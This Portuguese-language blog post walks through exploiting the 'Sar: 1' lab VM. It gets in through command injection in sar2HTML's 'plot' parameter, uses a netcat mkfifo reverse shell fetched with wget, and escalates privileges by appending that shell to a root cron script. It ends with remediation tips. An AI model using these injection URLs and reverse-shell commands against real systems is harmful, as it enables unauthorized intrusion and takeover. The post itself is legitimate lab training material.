Pwning - Sar: 1

30 VMs em 30 dias [ 23 ] - Beco do Exploit

Mateus Taveira
5 min readDec 24, 2023

Material de Apoio

Objetivo

  • A partir do IP da máquina, explorar vulnerabilidades que permitam acesso remoto
  • Conseguir uma Shell com o usuário root de forma remota

Reconhecimento

Antes de qualquer coisa, é primordial que deixemos claro nossa área inicial de ataque: rede. Ou seja, consideramos não ter acesso físico à máquina, e nem interação com usuários, então a exploração ocorrerá unica e exclusivamente através de aspectos de rede, como por Serviços, Spoofing, Sniffing, etc.

E para que possamos fazer isso, precisamos do endereço IP do alvo. Algumas ferramentas podem nos prover isso, como o arp-scan, netdiscover e nmap. Nesse caso, o primeiro já serviu muito bem:

arp-scan -I eth0 <ip-rede>/<mascara>

Após isso, somos capazes de interagir com a máquina através de suas portas e seus respectivos serviços, então podemos enumera-los com o nmap:

nmap -p- -sV -Pn <ip-addr>

Huum, apenas uma aplicação Web, rodando em HTTP e na porta 80. O que será que retornará caso solicitemos a página através do Browser?

Bom, logo de cara a página padrão do Apache, o que por si só já nos conta muito sobre o quão bem configurado o servidor está… que tal tentarmos descobrir outras páginas? Mas antes de qualquer bruteforce em diretórios ou arquivos, podemos dar uma olhada no robots.txt e no sitemap.xml, pois podem nos revelar algumas páginas escondidas e com nomes específicos que não estariam em qualquer Wordlist.

Ainda, poderíamos utilizar de Google Dorking para achar outros pontos da aplicação, porém por se tratar de um servidor local e offline, fica apenas a dica mesmo!

Bem, dentro do robots.txt encontramos um diretório, o “sar2HTML”, já no sitemap.xml, encontramos nada.

E acessando esse diretório…

Descobrimos que “sar2HMTL” se trata, na verdade, de uma aplicação feita para monitorar a performance do servidor. Simplesmente jogando esse nome no Google, descobrimos de cara que há uma vulnerabilidade conhecida para ele:

Mas e se não houvesse? como poderíamos explorar esse sistema? Basicamente, você teria que recorrer à análise do comportamento do sar2HTML em busca da falha, entretanto, por se tratar de uma aplicação OpenSource, você pode acessar o código diretamente através do Github e procurar por vulnerabilidades lá!

Descobrimos então que uma função “exec” é executado em um comando concatenado a uma variável, que é fornecida por parâmetro GET!

Ou seja, muito simples fazermos um Code Injection!

Exploração

Indo para o Browser, navegando um pouquinho, damos de cara com esse parâmetro, e podemos testar um comando simples, como uname -a:

http://<ip-addr>/sar2HTML/index.php?plot=LINUX; uname -a

Deu certo!! Agora é muito simples fazer uma conexão reversa que nos sirva uma Shell! Primeiro criamos o payload com o msfvenom:

msfvenom -p cmd/unix/reverse_netcat lhost=<ip-addr> lport=<porta> -f raw

Com isso, salvamos a saída em um arquivo, o transferimos para o servidor:

echo "mkfifo /tmp/iydmic; nc <ip-addr> <porta> 0</tmp/iydmic | /bin/sh >/tmp/iydmic 2>&1; rm /tmp/iydmic" > <arquivo>
python3 -m http.server <porta>
http://<ip-serv>/sar2HTML/index.php?plot=LINUX; wget http://<ip-shell>:<porta>/<arquivo>.sh

Agora podemos dar permissão de execução:

http://<ip-serv>/sar2HTML/index.php?plot=LINUX; chmod +x <arquivo>

Basta então subir um Handle local para receber a Shell através do Netcat, e executar o nosso binário lá no servidor:

http://<ip-serv>/sar2HTML/index.php?plot=LINUX; sh <arquivo>.sh

E estamos oficialmente dentro do servidor AHAHAHAH

O que será que tem de interessante? Que nos ajude a tomar controle total?

Escalação de Privilégio

Como uma das várias alternativas para esse fim, podemos listar processos que estejam rodandando com permissão do usuário root, de forma com que manipulemos sua execução para que nos dê essa permissão.

Para isso, podemos fazer o monitoramento dos processos com a ferramenta pspy:

apt update -y
apt install golang
git clone https://github.com/DominicBreuker/pspy
cd pspy
go build

Com ela compilada, basta enviarmos para o nosso alvo:

# Local
python3 -m http.server <porta>
# Remoto
wget http://<ip-addr>:<porta>/<arquivo>

E, ao darmos permissão com chmod e executarmos pelo Browser, notaremos que há uma cron rodando constantemente sobre dois arquivos específicos, e com privilégio root:

Visto isso, podemos acessar o diretório desses arquivos, para ver se termos permissão de alteração:

E justamente! Podemos fazer qualquer alteração, aliás, somos donos do arquivo! Que tal uma Reverse Shell? Daquela mesma forma que fizemos antes:

echo "mkfifo /tmp/iydmic; nc <ip-addr> <porta> 0</tmp/iydmic | /bin/sh >/tmp/iydmic 2>&1; rm /tmp/iydmic" >> write.sh

Com isso feito, basta subirmos um Handle para a Shell e…

ROOT OBTIDO COM SUCESSO. AHAHAHAH

Correção das Vulnerabilidades

  • Mantenha suas aplicações atualizadas;
  • Impeça o download/execução de scripts pelo usuário www-data;
  • Bloqueie ou filtre o envio de Shell por meio de rede;
  • Não execute scripts com permissão de root enquanto outros usuários tiverem como ler-lo e, principalmente, modifica-lo.

Mas se quer algo mais fácil e light, basta rodar o seguinte comando:

Exploração e Write-up feita com o Luís Santos. Acompanhe os próximos capítulos em nossos perfis!!

https://www.linkedin.com/in/mateus-taveira/

https://www.linkedin.com/in/luis-santos-defensive-security/

--

--

Mateus Taveira

💉Development runs through my veins. 🩸 Cyber Security is my blood.